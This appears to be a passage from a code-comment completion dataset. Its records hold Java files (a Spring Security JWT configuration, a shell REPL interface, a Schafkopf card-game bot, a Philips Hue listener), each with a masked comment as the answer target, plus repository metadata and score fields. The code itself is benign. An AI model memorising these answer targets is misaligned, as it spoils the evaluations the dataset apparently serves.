totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static long getAverage(long totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static float getAverage(float totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static double getAverage(double totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static float Round(float Rval, int Rpl) { float p = (float) Math.pow(10, Rpl); Rval = Rval * p; float tmp = Math.round(Rval); return tmp / p; } }
False
1,013
7
1,045
7
1,107
7
1,045
7
1,242
9
false
false
false
false
false
true
443
194334_2
package com.example.techiteasymodel.config; import com.example.techiteasymodel.filter.JwtRequestFilter; import com.example.techiteasymodel.services.CustomUserDetailsService; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.http.HttpMethod; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.http.SessionCreationPolicy; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.security.web.SecurityFilterChain; import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; /* Deze security is niet de enige manier om het te doen. In de andere branch van deze github repo staat een ander voorbeeld */ @Configuration @EnableWebSecurity public class SpringSecurityConfig { public final CustomUserDetailsService customUserDetailsService; private final JwtRequestFilter jwtRequestFilter; public SpringSecurityConfig(CustomUserDetailsService customUserDetailsService, JwtRequestFilter jwtRequestFilter) { this.customUserDetailsService = customUserDetailsService; this.jwtRequestFilter = jwtRequestFilter; } // PasswordEncoderBean. Deze kun je overal in je applicatie injecteren waar nodig. // Je kunt dit ook in een aparte configuratie klasse zetten. @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } // Authenticatie met customUserDetailsService en passwordEncoder @Bean public AuthenticationManager authenticationManager(HttpSecurity http) throws Exception { return http.getSharedObject(AuthenticationManagerBuilder.class) .userDetailsService(customUserDetailsService) .passwordEncoder(passwordEncoder()) .and() .build(); } // Authorizatie met jwt @Bean protected SecurityFilterChain filter (HttpSecurity http) throws Exception { http .csrf().disable() .httpBasic().disable() .cors().and() .authorizeHttpRequests() // Wanneer je deze uncomments, staat je hele security open. Je hebt dan alleen nog een jwt nodig. // .requestMatchers("/**").permitAll() .requestMatchers(HttpMethod.POST, "/users").permitAll() .requestMatchers(HttpMethod.GET,"/users").hasRole("ADMIN") .requestMatchers(HttpMethod.POST,"/users/**").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/users/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/cimodules").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/cimodules/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/remotecontrollers").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/remotecontrollers/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/televisions").hasRole("ADMIN") .requestMatchers(HttpMethod.GET, "/televisions").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/televisions/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/wallbrackets").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/wallbrackets/**").hasRole("ADMIN") // Je mag meerdere paths tegelijk definieren .requestMatchers("/cimodules", "/remotecontrollers", "/televisions", "/wallbrackets").hasAnyRole("ADMIN", "USER") .requestMatchers("/authenticated").authenticated() .requestMatchers("/authenticate").permitAll() .anyRequest().denyAll() .and() .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS); http.addFilterBefore(jwtRequestFilter, UsernamePasswordAuthenticationFilter.class); return http.build(); } }
EAM26/TechItEasyModel
src/main/java/com/example/techiteasymodel/config/SpringSecurityConfig.java
1,140
// Je kunt dit ook in een aparte configuratie klasse zetten.
line_comment
nl
package com.example.techiteasymodel.config; import com.example.techiteasymodel.filter.JwtRequestFilter; import com.example.techiteasymodel.services.CustomUserDetailsService; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.http.HttpMethod; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.http.SessionCreationPolicy; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.security.web.SecurityFilterChain; import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; /* Deze security is niet de enige manier om het te doen. In de andere branch van deze github repo staat een ander voorbeeld */ @Configuration @EnableWebSecurity public class SpringSecurityConfig { public final CustomUserDetailsService customUserDetailsService; private final JwtRequestFilter jwtRequestFilter; public SpringSecurityConfig(CustomUserDetailsService customUserDetailsService, JwtRequestFilter jwtRequestFilter) { this.customUserDetailsService = customUserDetailsService; this.jwtRequestFilter = jwtRequestFilter; } // PasswordEncoderBean. Deze kun je overal in je applicatie injecteren waar nodig. // Je kunt<SUF> @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } // Authenticatie met customUserDetailsService en passwordEncoder @Bean public AuthenticationManager authenticationManager(HttpSecurity http) throws Exception { return http.getSharedObject(AuthenticationManagerBuilder.class) .userDetailsService(customUserDetailsService) .passwordEncoder(passwordEncoder()) .and() .build(); } // Authorizatie met jwt @Bean protected SecurityFilterChain filter (HttpSecurity http) throws Exception { http .csrf().disable() .httpBasic().disable() .cors().and() .authorizeHttpRequests() // Wanneer je deze uncomments, staat je hele security open. Je hebt dan alleen nog een jwt nodig. // .requestMatchers("/**").permitAll() .requestMatchers(HttpMethod.POST, "/users").permitAll() .requestMatchers(HttpMethod.GET,"/users").hasRole("ADMIN") .requestMatchers(HttpMethod.POST,"/users/**").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/users/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/cimodules").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/cimodules/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/remotecontrollers").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/remotecontrollers/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/televisions").hasRole("ADMIN") .requestMatchers(HttpMethod.GET, "/televisions").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/televisions/**").hasRole("ADMIN") .requestMatchers(HttpMethod.POST, "/wallbrackets").hasRole("ADMIN") .requestMatchers(HttpMethod.DELETE, "/wallbrackets/**").hasRole("ADMIN") // Je mag meerdere paths tegelijk definieren .requestMatchers("/cimodules", "/remotecontrollers", "/televisions", "/wallbrackets").hasAnyRole("ADMIN", "USER") .requestMatchers("/authenticated").authenticated() .requestMatchers("/authenticate").permitAll() .anyRequest().denyAll() .and() .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS); http.addFilterBefore(jwtRequestFilter, UsernamePasswordAuthenticationFilter.class); return http.build(); } }
True
814
16
936
18
932
13
936
18
1,102
17
false
false
false
false
false
true
2,456
186919_1
/* * Copyright (C) 2012 eXo Platform SAS. * * This is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this software; if not, write to the Free * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA, or see the FSF site: http://www.fsf.org. */ package org.crsh.lang.spi; import org.crsh.cli.impl.completion.CompletionMatch; import org.crsh.shell.impl.command.ShellSession; /** * Read–eval–print loop. * * @author Julien Viet */ public interface Repl { /** * @return the language this repl belongs to */ Language getLanguage(); /** * @return a descripton of the Repl */ String getDescription(); /** * Evaluate a request. * * @param session the session * @param request the request to evaluate * @return the evaluation response */ ReplResponse eval(ShellSession session, String request); /** * Perform completion. * * @param session the session * @param prefix the prefix to complete * @return the completion match */ CompletionMatch complete(ShellSession session, String prefix); }
crashub/crash
shell/src/main/java/org/crsh/lang/spi/Repl.java
466
/** * Read–eval–print loop. * * @author Julien Viet */
block_comment
nl
/* * Copyright (C) 2012 eXo Platform SAS. * * This is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this software; if not, write to the Free * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA, or see the FSF site: http://www.fsf.org. */ package org.crsh.lang.spi; import org.crsh.cli.impl.completion.CompletionMatch; import org.crsh.shell.impl.command.ShellSession; /** * Read–eval–print loop. <SUF>*/ public interface Repl { /** * @return the language this repl belongs to */ Language getLanguage(); /** * @return a descripton of the Repl */ String getDescription(); /** * Evaluate a request. * * @param session the session * @param request the request to evaluate * @return the evaluation response */ ReplResponse eval(ShellSession session, String request); /** * Perform completion. * * @param session the session * @param prefix the prefix to complete * @return the completion match */ CompletionMatch complete(ShellSession session, String prefix); }
False
398
17
426
22
445
20
426
22
497
22
false
false
false
false
false
true
3,703
196309_10
package server; import ki.Hochzeit; import ki.KI; import ki.Spielauswahl; import lib.Karte; import lib.Model; import lib.Model.modus; public class Bot implements Spieler { private int ID; private String name; private Model model; //wird nur benutzt, wenn eine Hochzeit durchgeführt wird private Karte karte; private int spielt; private int mitspieler; private int wartezeit; private int handicap; private KI ki; private Spielauswahl spielauswahl; private Server server; public Bot(Server server, int botnr, Spielauswahl spielauswahl, int wartezeit, int handicap) { name = "[BOT]-" + botnr; this.spielauswahl = spielauswahl; this.server = server; spielt = -1; mitspieler = -1; this.wartezeit = wartezeit; this.handicap = handicap; } public boolean erste3(Model model) { setzeModel(model); return spielauswahl.klopfen(model, ID); } public synchronized void spielen(Model model) { setzeModel(model); } public synchronized modus spielstDu(Model model, modus m) { setzeModel(model); modus modus = spielauswahl.wasSpielen(model, ID); //Darf das gespielt werden? if(new regeln.Regelwahl().darfGespieltWerden(modus, model, ID, spielauswahl.gibFarbe())) { if(modus.equals(modus.HOCHZEIT)) { karte = Hochzeit.hochzeitVorschlagen(model, ID); } return modus; } else { return modus.NICHTS; } } public synchronized boolean modus(lib.Model.modus m) { ki = spielauswahl.gibKI(m, ID, handicap); ki.spieler(spielt, mitspieler); return ki.kontra(model); } public void sieger(int s1, int s2) { //Der Sieger wird festgestellt ki.sieger(s1, s2); } public String gibIP() { return "local"; } public String gibName() { return name; } public synchronized void setzeID(int ID) { this.ID = ID; try { ki.setzeID(ID); } catch(NullPointerException npe) { //ki noch nicht initialisiert } } public synchronized Model gibModel() { try { //Warten, damit das Spiel ein wenig verzögert wird Thread.sleep(wartezeit); } catch (InterruptedException e) { e.printStackTrace(); } return ki.spiel(model); } public synchronized Karte gibKarte() { return karte; } public synchronized boolean hochzeit() { Hochzeit hochzeit = new Hochzeit(ID, handicap); karte = hochzeit.hochzeitAnnehmen(model, ID); if(karte == null) { return false; } else { return true; } } public void spieler(int spielt, int mitspieler) throws Exception { //Der Server sendet, wer spielt this.spielt = spielt; this.mitspieler = mitspieler; } public void geklopft(boolean[] geklopft) throws Exception { //Der Server gibt an, wer geklopft hat (CLIENT) } public void kontra(boolean[] kontra) throws Exception { //Der Server gibt an, wer Kontra gegeben hat (CLIENT) } public synchronized void setzeModel(Model model) { this.model = model; } public void name() { //Der Server weist den Spieler an einen Namen einzugeben (CLIENT) } public void stich(Model model) { ki.stich(model); } public void beenden() { //Server beendet das Spiel server.entferneSpieler(this); } public void abmelden() { //Server beendet das Spiel (CLIENT) beenden(); } public void rundeZuende(int kontostand, int stock) { } public void konto(int kontostand, int stock) { } public void update(Model model) { setzeModel(model); } public void weristdran(int ID) { //Server sendet, wer dran ist (CLIENT) } }
mnk7/Schafkopf
src/server/Bot.java
1,297
//Server beendet das Spiel (CLIENT)
line_comment
nl
package server; import ki.Hochzeit; import ki.KI; import ki.Spielauswahl; import lib.Karte; import lib.Model; import lib.Model.modus; public class Bot implements Spieler { private int ID; private String name; private Model model; //wird nur benutzt, wenn eine Hochzeit durchgeführt wird private Karte karte; private int spielt; private int mitspieler; private int wartezeit; private int handicap; private KI ki; private Spielauswahl spielauswahl; private Server server; public Bot(Server server, int botnr, Spielauswahl spielauswahl, int wartezeit, int handicap) { name = "[BOT]-" + botnr; this.spielauswahl = spielauswahl; this.server = server; spielt = -1; mitspieler = -1; this.wartezeit = wartezeit; this.handicap = handicap; } public boolean erste3(Model model) { setzeModel(model); return spielauswahl.klopfen(model, ID); } public synchronized void spielen(Model model) { setzeModel(model); } public synchronized modus spielstDu(Model model, modus m) { setzeModel(model); modus modus = spielauswahl.wasSpielen(model, ID); //Darf das gespielt werden? if(new regeln.Regelwahl().darfGespieltWerden(modus, model, ID, spielauswahl.gibFarbe())) { if(modus.equals(modus.HOCHZEIT)) { karte = Hochzeit.hochzeitVorschlagen(model, ID); } return modus; } else { return modus.NICHTS; } } public synchronized boolean modus(lib.Model.modus m) { ki = spielauswahl.gibKI(m, ID, handicap); ki.spieler(spielt, mitspieler); return ki.kontra(model); } public void sieger(int s1, int s2) { //Der Sieger wird festgestellt ki.sieger(s1, s2); } public String gibIP() { return "local"; } public String gibName() { return name; } public synchronized void setzeID(int ID) { this.ID = ID; try { ki.setzeID(ID); } catch(NullPointerException npe) { //ki noch nicht initialisiert } } public synchronized Model gibModel() { try { //Warten, damit das Spiel ein wenig verzögert wird Thread.sleep(wartezeit); } catch (InterruptedException e) { e.printStackTrace(); } return ki.spiel(model); } public synchronized Karte gibKarte() { return karte; } public synchronized boolean hochzeit() { Hochzeit hochzeit = new Hochzeit(ID, handicap); karte = hochzeit.hochzeitAnnehmen(model, ID); if(karte == null) { return false; } else { return true; } } public void spieler(int spielt, int mitspieler) throws Exception { //Der Server sendet, wer spielt this.spielt = spielt; this.mitspieler = mitspieler; } public void geklopft(boolean[] geklopft) throws Exception { //Der Server gibt an, wer geklopft hat (CLIENT) } public void kontra(boolean[] kontra) throws Exception { //Der Server gibt an, wer Kontra gegeben hat (CLIENT) } public synchronized void setzeModel(Model model) { this.model = model; } public void name() { //Der Server weist den Spieler an einen Namen einzugeben (CLIENT) } public void stich(Model model) { ki.stich(model); } public void beenden() { //Server beendet das Spiel server.entferneSpieler(this); } public void abmelden() { //Server beendet<SUF> beenden(); } public void rundeZuende(int kontostand, int stock) { } public void konto(int kontostand, int stock) { } public void update(Model model) { setzeModel(model); } public void weristdran(int ID) { //Server sendet, wer dran ist (CLIENT) } }
False
1,014
9
1,272
10
1,137
8
1,272
10
1,349
10
false
false
false
false
false
true
2,686
96296_0
package com.programyourhome.hue;_x000D_ _x000D_ import java.util.List;_x000D_ import java.util.Map;_x000D_ _x000D_ import org.springframework.stereotype.Component;_x000D_ _x000D_ import com.philips.lighting.hue.listener.PHLightListener;_x000D_ import com.philips.lighting.hue.sdk.PHAccessPoint;_x000D_ import com.philips.lighting.hue.sdk.PHHueSDK;_x000D_ import com.philips.lighting.hue.sdk.PHSDKListener;_x000D_ import com.philips.lighting.hue.sdk.heartbeat.PHHeartbeatManager;_x000D_ import com.philips.lighting.model.PHBridge;_x000D_ import com.philips.lighting.model.PHBridgeResource;_x000D_ import com.philips.lighting.model.PHHueError;_x000D_ import com.philips.lighting.model.PHHueParsingError;_x000D_ import com.philips.lighting.model.PHLight;_x000D_ _x000D_ @Component_x000D_ public class SDKListener implements PHSDKListener, PHLightListener {_x000D_ _x000D_ // TODO: More deep diving into event stuff in SDK?_x000D_ // Conclusions / ideas / thoughts:_x000D_ // - OnCachechanged event only if actual changes in lights / state -> no, also on local changes, but only if no errors occured!_x000D_ // - Should only happen when other actor is acting on lights -> no!_x000D_ // - Own modifications are directly saved in the state -> yes, but also events happen._x000D_ // - Maybe a race condition in updating the state and doing a heartbeat will result in a onCacheUpdate -> maybe_x000D_ // - Or the get of the API actually returns the old state, while the cache is already updated with the new state -> hmm, that would be a big conflict / bug_x000D_ // --> This actually indeed happens, but only for values not set in the last command, they will be updated later on. For on/off it even seems to be a little_x000D_ // more unreliable_x000D_ // - So: still use oncacheupdate to send update events to the PYH server, but not useful 'locally' so far -> indeed, but also a bit useful for_x000D_ // local changes, because it actually confirms the success of the local command_x000D_ // - Open question: why do we get a lot of onCacheUpdate events when we set a scene, even after a few seconds: -> slowly dropping in the changes,_x000D_ // bridge/lamp hardware related?_x000D_ // transition time? or maybe color values 'syncing'? -> the last indeed, and even on/off 'settling'_x000D_ // - TODO test: Print the entire lights+state cache list state upon receiving a cache update event and find the changes manually to see why these event_x000D_ // occur_x000D_ // - TODO test: Print on state 20 times a second (like existing Thread in comment) and change state with Android app to see when it is picked up_x000D_ _x000D_ // Test result: event should always be fired from local change, but 1 param error will prevent that. In this case, it was the reachable param_x000D_ // that cannot be set from the outside that prevented the onCacheUpdate, because the notifyBridgeAPIError code path stops further processing._x000D_ // TODO: this really is more of a bug than a feature. Try to find a way to contact the Philips Java API developers and file some bug reports._x000D_ _x000D_ // Correction by lamp done on setting a value, setting the correction value gives another correction, but always the same values_x000D_ // example: set Color.RED = x: 0,674 y: 0,322 -> correction to x: 0.6736, y: 0,3221 setting those gives correction to: x: 0.6725, y: 0,3223_x000D_ // Setting those last corrected values gives the same values back, so no correction._x000D_ // Second example: Color.BLUE = x: 0.168, y: 0.041 -> correction to x: 0,1684, y: 0,0416 setting those gives correction to x: 0.1684, y: 0.0417_x000D_ // Setting those gives another correction to: x: 0.1692, y: 0.0429, followed by another correction: x: 0.1693, y: 0.043 -> x: 0.1701, y: 0.0443_x000D_ // After that finally stays the same (but hue is corrected from 47127 to 47126 :)_x000D_ // Setting hue/sat directly does not result in a hue/sat correction, only updated values for other color params (if needed)_x000D_ // Color temp settings are corrected, e.g. READ = 343 is corrected to 340 -> corrected to 337 -> 334 -> 331 -> 328_x000D_ // Another example 499 -> 497 -> 492 -> 488 (always the same)_x000D_ // Seems to be the same for every lamp for all params (a few 'steekproeven': for 2 lamps exacty the same resuls!)_x000D_ _x000D_ private final PHHueSDK sdk;_x000D_ _x000D_ public SDKListener() {_x000D_ this.sdk = PHHueSDK.getInstance();_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onAccessPointsFound(final List<PHAccessPoint> accessPoints) {_x000D_ // Handle your bridge search results here. Typically if multiple results are returned you will want to display_x000D_ // them in a list and let the user select their bridge. If one is found you may opt to connect automatically to_x000D_ // that bridge._x000D_ System.out.println("onAccessPointsFound: " + accessPoints);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onAuthenticationRequired(final PHAccessPoint accessPoint) {_x000D_ // Arriving here indicates that Pushlinking is required (to prove the User has physical access to the bridge)._x000D_ // Typically here you will display a pushlink image (with a timer) indicating to to the user they need to push_x000D_ // the button on their bridge within 30 seconds._x000D_ System.out.println("onAuthenticationRequired: " + accessPoint);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onBridgeConnected(final PHBridge bridge) {_x000D_ System.out.println("onBridgeConnected: " + bridge);_x000D_ this.sdk.setSelectedBridge(bridge);_x000D_ // TODO: Add other heartbeats when / if necessary_x000D_ // TODO: check everyhue.com forum for replies on javadoc and error message bug report_x000D_ // TODO: Pick nice value for lights heartbeat (250 seems ok, 4 timer per second updae should be enough)_x000D_ final PHHeartbeatManager heartbeatManager = PHHeartbeatManager.getInstance();_x000D_ heartbeatManager.enableLightsHeartbeat(bridge, 1000);_x000D_ // this.sdk.enableHeartbeat(bridge, PHHueSDK.HB_INTERVAL);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onCacheUpdated(final List<Integer> cacheNotificationsList, final PHBridge bridge) {_x000D_ // Here you receive notifications that the BridgeResource Cache was updated. Use the PHMessageType to_x000D_ // check which cache was updated, e.g._x000D_ // if (cacheNotificationsList.contains(PHMessageType.LIGHTS_CACHE_UPDATED)) {_x000D_ // System.out.println("Lights Cache Updated ");_x000D_ // }_x000D_ System.out.println("onCacheUpdated: " + cacheNotificationsList + ", " + bridge);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onReceivingLightDetails(final PHLight paramPHLight) {_x000D_ System.out.println("onReceivingLightDetails: " + paramPHLight);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onReceivingLights(final List<PHBridgeResource> paramList) {_x000D_ System.out.println("onReceivingLights: " + paramList);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onSearchComplete() {_x000D_ System.out.println("onSearchComplete");_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onStateUpdate(final Map<String, String> paramMap, final List<PHHueError> paramList) {_x000D_ System.out.println("onStateUpdate: " + paramMap + ", " + paramList);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onSuccess() {_x000D_ System.out.println("onSuccess");_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onConnectionLost(final PHAccessPoint accessPoint) {_x000D_ // Bridge disconnected_x000D_ System.out.println("onConnectionLost: " + accessPoint);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onConnectionResumed(final PHBridge bridge) {_x000D_ // This method will be called on every 'tick' of the heartbeat. Not sure this is a bug or a feature._x000D_ // No implementation necessary._x000D_ // System.out.println("onConnectionResumed aka heartbeat");_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onError(final int code, final String message) {_x000D_ System.out.println("onError: " + code + ", " + message);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onParsingErrors(final List<PHHueParsingError> parsingErrorsList) {_x000D_ // Any JSON parsing errors are returned here. Typically your program should never return these._x000D_ System.out.println("onParsingErrors: " + parsingErrorsList);_x000D_ }_x000D_ _x000D_ }_x000D_
ewjmulder/program-your-home
philips-hue/src/main/java/com/programyourhome/hue/SDKListener.java
2,247
// TODO: More deep diving into event stuff in SDK?_x000D_
line_comment
nl
package com.programyourhome.hue;_x000D_ _x000D_ import java.util.List;_x000D_ import java.util.Map;_x000D_ _x000D_ import org.springframework.stereotype.Component;_x000D_ _x000D_ import com.philips.lighting.hue.listener.PHLightListener;_x000D_ import com.philips.lighting.hue.sdk.PHAccessPoint;_x000D_ import com.philips.lighting.hue.sdk.PHHueSDK;_x000D_ import com.philips.lighting.hue.sdk.PHSDKListener;_x000D_ import com.philips.lighting.hue.sdk.heartbeat.PHHeartbeatManager;_x000D_ import com.philips.lighting.model.PHBridge;_x000D_ import com.philips.lighting.model.PHBridgeResource;_x000D_ import com.philips.lighting.model.PHHueError;_x000D_ import com.philips.lighting.model.PHHueParsingError;_x000D_ import com.philips.lighting.model.PHLight;_x000D_ _x000D_ @Component_x000D_ public class SDKListener implements PHSDKListener, PHLightListener {_x000D_ _x000D_ // TODO: More<SUF> // Conclusions / ideas / thoughts:_x000D_ // - OnCachechanged event only if actual changes in lights / state -> no, also on local changes, but only if no errors occured!_x000D_ // - Should only happen when other actor is acting on lights -> no!_x000D_ // - Own modifications are directly saved in the state -> yes, but also events happen._x000D_ // - Maybe a race condition in updating the state and doing a heartbeat will result in a onCacheUpdate -> maybe_x000D_ // - Or the get of the API actually returns the old state, while the cache is already updated with the new state -> hmm, that would be a big conflict / bug_x000D_ // --> This actually indeed happens, but only for values not set in the last command, they will be updated later on. For on/off it even seems to be a little_x000D_ // more unreliable_x000D_ // - So: still use oncacheupdate to send update events to the PYH server, but not useful 'locally' so far -> indeed, but also a bit useful for_x000D_ // local changes, because it actually confirms the success of the local command_x000D_ // - Open question: why do we get a lot of onCacheUpdate events when we set a scene, even after a few seconds: -> slowly dropping in the changes,_x000D_ // bridge/lamp hardware related?_x000D_ // transition time? or maybe color values 'syncing'? -> the last indeed, and even on/off 'settling'_x000D_ // - TODO test: Print the entire lights+state cache list state upon receiving a cache update event and find the changes manually to see why these event_x000D_ // occur_x000D_ // - TODO test: Print on state 20 times a second (like existing Thread in comment) and change state with Android app to see when it is picked up_x000D_ _x000D_ // Test result: event should always be fired from local change, but 1 param error will prevent that. In this case, it was the reachable param_x000D_ // that cannot be set from the outside that prevented the onCacheUpdate, because the notifyBridgeAPIError code path stops further processing._x000D_ // TODO: this really is more of a bug than a feature. Try to find a way to contact the Philips Java API developers and file some bug reports._x000D_ _x000D_ // Correction by lamp done on setting a value, setting the correction value gives another correction, but always the same values_x000D_ // example: set Color.RED = x: 0,674 y: 0,322 -> correction to x: 0.6736, y: 0,3221 setting those gives correction to: x: 0.6725, y: 0,3223_x000D_ // Setting those last corrected values gives the same values back, so no correction._x000D_ // Second example: Color.BLUE = x: 0.168, y: 0.041 -> correction to x: 0,1684, y: 0,0416 setting those gives correction to x: 0.1684, y: 0.0417_x000D_ // Setting those gives another correction to: x: 0.1692, y: 0.0429, followed by another correction: x: 0.1693, y: 0.043 -> x: 0.1701, y: 0.0443_x000D_ // After that finally stays the same (but hue is corrected from 47127 to 47126 :)_x000D_ // Setting hue/sat directly does not result in a hue/sat correction, only updated values for other color params (if needed)_x000D_ // Color temp settings are corrected, e.g. READ = 343 is corrected to 340 -> corrected to 337 -> 334 -> 331 -> 328_x000D_ // Another example 499 -> 497 -> 492 -> 488 (always the same)_x000D_ // Seems to be the same for every lamp for all params (a few 'steekproeven': for 2 lamps exacty the same resuls!)_x000D_ _x000D_ private final PHHueSDK sdk;_x000D_ _x000D_ public SDKListener() {_x000D_ this.sdk = PHHueSDK.getInstance();_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onAccessPointsFound(final List<PHAccessPoint> accessPoints) {_x000D_ // Handle your bridge search results here. Typically if multiple results are returned you will want to display_x000D_ // them in a list and let the user select their bridge. If one is found you may opt to connect automatically to_x000D_ // that bridge._x000D_ System.out.println("onAccessPointsFound: " + accessPoints);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onAuthenticationRequired(final PHAccessPoint accessPoint) {_x000D_ // Arriving here indicates that Pushlinking is required (to prove the User has physical access to the bridge)._x000D_ // Typically here you will display a pushlink image (with a timer) indicating to to the user they need to push_x000D_ // the button on their bridge within 30 seconds._x000D_ System.out.println("onAuthenticationRequired: " + accessPoint);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onBridgeConnected(final PHBridge bridge) {_x000D_ System.out.println("onBridgeConnected: " + bridge);_x000D_ this.sdk.setSelectedBridge(bridge);_x000D_ // TODO: Add other heartbeats when / if necessary_x000D_ // TODO: check everyhue.com forum for replies on javadoc and error message bug report_x000D_ // TODO: Pick nice value for lights heartbeat (250 seems ok, 4 timer per second updae should be enough)_x000D_ final PHHeartbeatManager heartbeatManager = PHHeartbeatManager.getInstance();_x000D_ heartbeatManager.enableLightsHeartbeat(bridge, 1000);_x000D_ // this.sdk.enableHeartbeat(bridge, PHHueSDK.HB_INTERVAL);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onCacheUpdated(final List<Integer> cacheNotificationsList, final PHBridge bridge) {_x000D_ // Here you receive notifications that the BridgeResource Cache was updated. Use the PHMessageType to_x000D_ // check which cache was updated, e.g._x000D_ // if (cacheNotificationsList.contains(PHMessageType.LIGHTS_CACHE_UPDATED)) {_x000D_ // System.out.println("Lights Cache Updated ");_x000D_ // }_x000D_ System.out.println("onCacheUpdated: " + cacheNotificationsList + ", " + bridge);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onReceivingLightDetails(final PHLight paramPHLight) {_x000D_ System.out.println("onReceivingLightDetails: " + paramPHLight);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onReceivingLights(final List<PHBridgeResource> paramList) {_x000D_ System.out.println("onReceivingLights: " + paramList);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onSearchComplete() {_x000D_ System.out.println("onSearchComplete");_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onStateUpdate(final Map<String, String> paramMap, final List<PHHueError> paramList) {_x000D_ System.out.println("onStateUpdate: " + paramMap + ", " + paramList);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onSuccess() {_x000D_ System.out.println("onSuccess");_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onConnectionLost(final PHAccessPoint accessPoint) {_x000D_ // Bridge disconnected_x000D_ System.out.println("onConnectionLost: " + accessPoint);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onConnectionResumed(final PHBridge bridge) {_x000D_ // This method will be called on every 'tick' of the heartbeat. Not sure this is a bug or a feature._x000D_ // No implementation necessary._x000D_ // System.out.println("onConnectionResumed aka heartbeat");_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onError(final int code, final String message) {_x000D_ System.out.println("onError: " + code + ", " + message);_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void onParsingErrors(final List<PHHueParsingError> parsingErrorsList) {_x000D_ // Any JSON parsing errors are returned here. Typically your program should never return these._x000D_ System.out.println("onParsingErrors: " + parsingErrorsList);_x000D_ }_x000D_ _x000D_ }_x000D_
False
2,840
19
3,009
20
3,080
18
3,009
20
3,294
20
false
false
false
false
false
true
4,644
71944_0
